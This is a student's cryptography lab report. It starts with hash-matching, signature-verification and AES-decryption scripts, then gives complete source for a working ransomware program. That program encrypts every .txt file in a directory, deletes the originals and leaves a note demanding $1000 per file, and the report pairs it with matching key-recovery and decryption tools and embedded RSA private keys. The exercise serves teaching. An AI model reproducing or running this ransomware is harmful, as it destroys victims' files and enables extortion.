Pham Hoang Long Do
phl21002

Lab 3

Li Yuyao

Question 1

Python 1: Q1

```
import os
import hashlib
if __name__ == '__main__':
    f = open("../Q1hash.txt")
    hash_value = f.read().replace("\n","")
    for i in os.listdir("../Q1files"):
        hex_text = open("../Q1files/"+i,'rb').read() #Read bytes
        file_hash_value =  hashlib.sha256(hex_text).hexdigest()
        if  (file_hash_value == hash_value):
            f2 = open("Q1a","w")
            f2.write(i)
```

- Result from Q1a:

`dermestidae.exe`

Question 2

Python 2: Q2

```
    import os
    import hashlib
    if __name__ == '__main__':
        f = open("../Q2hash.txt")
        hash_value = f.read().replace("\n","")
        for i in os.listdir("../Q2files"):
            hex_text = open("../Q2files/"+i,'rb').read() #Read bytes
            file_hash_value =  hashlib.sha256(hex_text).hexdigest()
            if  (file_hash_value == hash_value):
                f2 = open("Q2a","w")
                f2.write(i)
```

- Result from Q2a:

`afforestation.exe`

Quesion 3

Python 3: Q3

```
    from Crypto.Hash import SHA256
    from Crypto.Signature import PKCS1_v1_5
    import os
    from Crypto.PublicKey import RSA

    def verify_signature(key,data,sig_f):
        h = SHA256.new(data)
        rsa = RSA.importKey(key)
        signer = PKCS1_v1_5.new(rsa)
        with open(sig_f,'rb') as f: signature = f.read()
```

```
        rsp = 1 if (signer.verify(h,signature)) else 0
        return (rsp)

    if __name__ == "__main__":
        with open("../Q3pk.pem") as f: key = f.read()
        for i in os.listdir("../Q3files"):
            if ".sign" in i:
                sig_f = "../Q3files/"+i
                data_f = "../Q3files/"+ i.replace(".sign","")
                with open(data_f,'rb') as f:
                    data = f.read()
                    if  verify_signature(key,data,sig_f) == 1:
                        with open("Q3a",'a') as fw:
                            fw.write(i+'\n')
                            print ("Verification Success")
```

- Result from Q3a:

`tendentiously.exe.sign`

Question 4

Python 4: D4

```
from Crypto.Cipher import AES
from Crypto.Util.Padding import*

key = b'\xb8\xb1\x10+0\x9fY)\x89\x0cN\x86#\xf5\x915'
with open("../Q4files/Encrypted4","rb") as f:
    out = f.read()
    end = len(out)//16*16
    encrp_data = out[16:end]
    iv = out[:16]
    cipher = AES.new(key,AES.MODE_CBC,iv)
    plain_text = cipher.decrypt(encrp_data)
    plain_text = unpad(plain_text,AES.block_size)
    with open('Q4a','w') as f2:
        f2.write(plain_text.decode())
```

- Result from Q4a:

`formae36@`

Question 5

Python 5: D5

```
from Crypto.Cipher import AES
from Crypto.Util.Padding import*
from Crypto.Hash import MD5
count = 0
h = MD5.new()
with open('../Q5files/R5.py','rb') as f:
    buf  = f.read(256)
```

```
        while len(buf)>0:
            count = count +1
            h.update(buf)
            buf = f.read(256)
    key = h.digest()
    with open("../Q5files/Encrypted5","rb") as f:
        out = f.read()
        end = len(out)//16*16
        encrp_data = out[16:end]
        iv = out[:16]
        cipher = AES.new(key,AES.MODE_CBC,iv)
        plain_text = cipher.decrypt(encrp_data)
        plain_text = unpad(plain_text,AES.block_size)
        with open('Q5a','w') as f2:
            f2.write(plain_text.decode())
```

- Result from Q5a:

```
coagmentation17%
```

Question 6

KG6

Python 6: KG6

```
from Crypto.PublicKey import RSA
import Crypto

key = RSA.generate (1024)
f = open('d.key','wb')
f.write(key.export_key('PEM'))
f.close()

with open('e.key','wb') as f:
    f.write(key.public_key().export_key('PEM'))
```

- output of e.key:

```
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDSYGUDEqBafI7Pju7o0dhyk6l6
quGzWCxm6Ah3FFq6ubzBJJF612VDvThy6hA6VOaXYTkXakTyMDpGNFf1HKMP52kY
j8kwGVNMO/PtfPglT0TqpGahUGOS7edua6xgsiSORgN87j4LahxK9T4U9bjeSesw
uz24FmALz3zd9oFMewIDAQAB
-----END PUBLIC KEY-----
```

- ouput of d.key:

```
-----BEGIN RSA PRIVATE KEY-----
MIICXAIBAAKBgQDSYGUDEqBafI7Pju7o0dhyk6l6quGzWCxm6Ah3FFq6ubzBJJF6
12VDvThy6hA6VOaXYTkXakTyMDpGNFf1HKMP52kYj8kwGVNMO/PtfPglT0TqpGah
UGOS7edua6xgsiSORgN87j4LahxK9T4U9bjeSeswuz24FmALz3zd9oFMewIDAQAB
AoGAIfZV2E0lffYlx/Q3NXbLDpQwBBGaJi3R3TsQQskSbJqXkkapBb/IJUti1Ypb
3E7gewfDA7iwMLkAb1z75iIdYKTj2Tv5TJMNKIKnSiC7FGTo5YmTgPaemN2npQvk
FyUOYEwfxzdxbld/34SXlfzeQ2Eb13m9QEgEtK0byifLjeECQQDdZmqFv6qFXHOi
H3P8Ksw0tJcn73LZ2lpRsWlNL3ZfC0EnT/i0UZ75Vq5QrRRo0QugPKLe2HmZA9rm
WBa06tHVAkEA8OD1eMvbCCmrZ/1ld8WT8zy9gRYLFanZwOF1yijUzoNXwRtiXq/K
yOQGzmZajP8Lr2k9rvwulgRKzjnMfiJ9DwJAT2VA4gHf1r9WwFbjMxTt8iCo7CtU
VoeVSCKFDqbsnhzdGon1OETk66mIDWpkHUqKDsZv6dZblOHrCBui2PIOmQJANWKp
PNSIgncarhzXmvyapsRK1ryuvBdlucYBYtepNJVwuem3og40k/gvYjbmYpFK0Dlp
lzCzTKsue6oFrh0FkwJBAJDX7t6zgsuvka365q3D55qEx9O9pADNbXaQ71RKRsMn
OOlS+JfbLcHaelIGIvi/NG7FjE7VUMA5EAAKFgiWC5U=
-----END RSA PRIVATE KEY-----
```

Lab 3

R6

Python 7: R6

```
from Crypto.Cipher import PKCS1_OAEP
from Crypto.PublicKey import RSA
from Crypto.Cipher import AES
from Crypto.Util.Padding import *
import os
from Crypto.Random import get_random_bytes
PUBLICKEY = b'-----BEGIN PUBLIC KEY-----
\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMII
BCgKCAQEAvWEwWp7gwZiYa+9BORvP\nQYx7flM
2vmiMwMd4eVYlkZ55aIdTuuYY40mTCy4ZES/91
v7xxE6cUaufHHyA0GXY\nbzdZNkBGjDf86aUk
rbDsYyxMK1p4EXRSpp9VTTmce7mAIRlCQBHJrM2
4klcOJyb\nOWMy3Unmg1FUxX7xNk1GyXq42R6yc
8y7RPzEECqiiKe1vxsuiCh9aGgUrFTF7lyJ\nvSNP
+OaHIP4vHLxWNYJpOb6dQjqOXy9QKnuiHQ2Xu81S2
YaeHxLbqOThNc3A7gwY\n9XL5m2ybSilro0KloKaV
S5JdbxsT+FcNVzwCVKxfewiboBwvnmUGCIyF24xp9
Laz\npQIDAQAB\n
-----END PUBLIC KEY-----'

def search_file(directory):
    txt_file_list = []
    for i in os.listdir(directory):
        if ".txt" == i[-4:]:
            txt_file_list.append(i)
    return txt_file_list

def encrypted_file(original_file):
    key = get_random_bytes(AES.block_size)
    cipher = AES.new(key,AES.MODE_CBC)
    with open(original_file,'rb') as f:
        plain_data = f.read()
    encrypted_data = cipher.encrypt(pad(plain_data,AES.block_size))
    with open(original_file + '.encrypted','wb') as f:
        f.write(cipher.iv)
        f.write(encrypted_data)
    e_key = encrypted_key(key)
    #write id
    with open(original_file + '.ID',"wb") as f:
        f.write(e_key)
    #write note
    with open(original_file + '.note','w') as f:
        f.write("""
        Wanna your file back?
        $1000 per file
        Sent to XXXX with the ID file\n
            """)
    os.remove(original_file)
def test_encrypted(aes_key,encrypted_data,iv):
    cipher = AES.new(aes_key,AES.MODE_CBC,iv)
    original_data = cipher.decrypt(encrypted_data)
    original_data = unpad(original_data,AES.block_size)
```

```
        print (original_data)
    def encrypted_key(key):
        public_key = b''
        with open('e.key','rb') as f:
            public_key = f.read()

        public_key = RSA.import_key(PUBLICKEY)
        cipher = PKCS1_OAEP.new(public_key)
        encrypted_key = cipher.encrypt(key)
        return encrypted_key


    if __name__ == "__main__":
        file_list =  search_file(".")
        for e_file in file_list:
            encrypted_file(e_file)
            print ("%s is encrypted"%e_file)
```

Lab 3

AD6

Python 8: AD6

```
import sys
from Crypto.PublicKey import RSA
from Crypto.Cipher import AES
from Crypto.Cipher import PKCS1_OAEP
PRIVATE_KEY = b'-----BEGIN RSA PRIVATE KEY-----
\nMIIEogIBAAKCAQEAvWEwWp7gwZiYa+9BORvPQYx
7flM2vmiMwMd4eVYlkZ55aIdT\nuuYY40mTCy4ZES
/91v7xxE6cUaufHHyA0GXYbzdZNkBGjDf86aUkrbD
sYyxMK1p4\nEXRSpp9VTT/mce7mAIRlCQBHJrM24
klcOJybOWMy3Unmg1FUxX7xNk1GyXq42R6y\nc8y7
RPzEECqiiKe1vxsuiCh9aGgUrFTF7lyJvSNP+OaHI
P4vHLxWNYJpOb6dQjqO\nXy9QKnuiHQ2Xu81S
2YaeHxLbqOThNc3A7gwY9XL5m2ybSilro0K
loKaVS5JdbxsT\n+FcNVzwCVKxfewiboBwvnmU
GCIyF24xp9LazpQIDAQABAoIBAEkkoGhftK8RI
M2P\nOsGz2/iVKZ1AxoQEHVjXsdArVZdIfdvB
aLVm6XXflMtcopHg10mSbg5Dzlw8zNdT\nvuy+a
TmLRwmNCbJebXBQODpdeu9SzJhx+K3FH6b7Ixc
S9w5KFstcVymC0fhAf5Im\ng1faJJmllp+hS0a
swvEEdmVis1RdR50gR7sE3wrohy0V6eP
Emw4ycVTLPIsHRfsl\nt5yRUgLuOEuoziR9U/j
JNt10MBBrD9fiyfLK3S4DmsjldQkfP5/TS/a
zpppNwEsZ\n1sG+v06j8i3/llbOe4IAGvw+HuZ
6p6kK52J+nxSP500dmfvBIZkIKdMzr7cE7Ykl\n
qW5oEoECgYEA1XRkm3MuqdskIvlrcQnvfApV
Phq3WR6Y8vf86rPgN7nHvtlrBO9Z\nqMudNXVp1
KMwfH2LgnVuNgHeppzHNgyMCKjtGlsx3VPgDz+F
C6RX9c+KurPk9jeZ\nA9U4MLNgEJNJdDF27e3o1dWxM
hyHvP0YvdwzScBlZzsm5xey9ces3osCgYEA4yBb
\n3HiPkHHcVH2xsRLM80kwGSIRfgkK1Uz7wKqy3kS
7Ftk9wX46xTQFucPeMDZ7rYW1\ngDSg5nK4FEuE
3X3bQSMjlxUd3YDUAUkyCNT5tZ89WuEzdEzFTCD
v8twxNQ7DGrhv\n4FKKrmlw9sNCVoDmLw7lTxjtJ
K5xOaWOgT4DrI8CgYAiZom4S83fbgPa5xubsiA4
\ne2nVgnS+FiJMNg86vBaMpJI+fcezmed3Pqltbi
jKLiqoRYtwUQCcD50UePvaCBeh\nZaggsUXOB7B
6hKAqiifq47HV+RwTWk58waY2oxH+Wd5irX4fR
lJZ9ACEtPhjSt7r\n6ksRvcIZ6vyQDc+3sKB5lQ
KBgDnWdq4ZIW4GILZ/X62Y/QoDHDV6QHwY72JL/V
wd\n2/jQBdiWr6xDadHoIoEgyMb8SNhyUTr5q/O
jSQ8aABarQxc+TITfwsAyW0qMiipH\nmeNPTr+C
06iNGDz/sjrlKb66KKL4Tr0QJ/KsNTERniYLI
xLetzRCQ7lwlrK4Xya4\nVRUvAoGARWTmLF
kj11Q23WdpwsFNpaZshWqCypgBfYVBDkbgp8
mzXHeA2jBAgguW\nqlHSribM350UL9NpmvK
iemrvJEQaD0FASvhW70sOnN7LCUi6WFqaOv
a0AJcbdFSH\nNmsSpU0mBMbXV+dtbujnOTc
sj2mpIjpV4jno4IaVJwiR2CR4lzw=\n
-----END RSA PRIVATE KEY-----'

if __name__ == "__main__":
    if (len(sys.argv) != 2):
```

```
    print ("usage: AD6.py idfile")
    sys.exit(0)
with open(sys.argv[1],'rb') as f: identifier = f.read()
private_key = RSA.import_key(PRIVATE_KEY)
cipher = PKCS1_OAEP.new(private_key)
decrypted_key = cipher.decrypt(identifier)
with open("test_key","wb") as f:
    f.write(decrypted_key)
print ("Key recover")
print (decrypted_key.hex())
```

D6

Python 9: D6

```
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import sys
import os
if __name__ == "__main__":

    e_file = sys.argv[1]
    key = bytes.fromhex(sys.argv[2])

    with open(e_file,'rb') as f:
        iv = f.read(16)
        e_data = f.read()
    cipher = AES.new(key,AES.MODE_CBC,iv)
    original_data = cipher.decrypt(e_data)
    original_data = unpad(original_data,AES.block_size)
    file_name = e_file[:-10]
    with open(e_file[:-10],'wb') as f:
        f.write(original_data)
    os.remove(e_file)
    os.remove(file_name + '.ID')
    os.remove(file_name + '.note')
    print (file_name +" was recovered")
```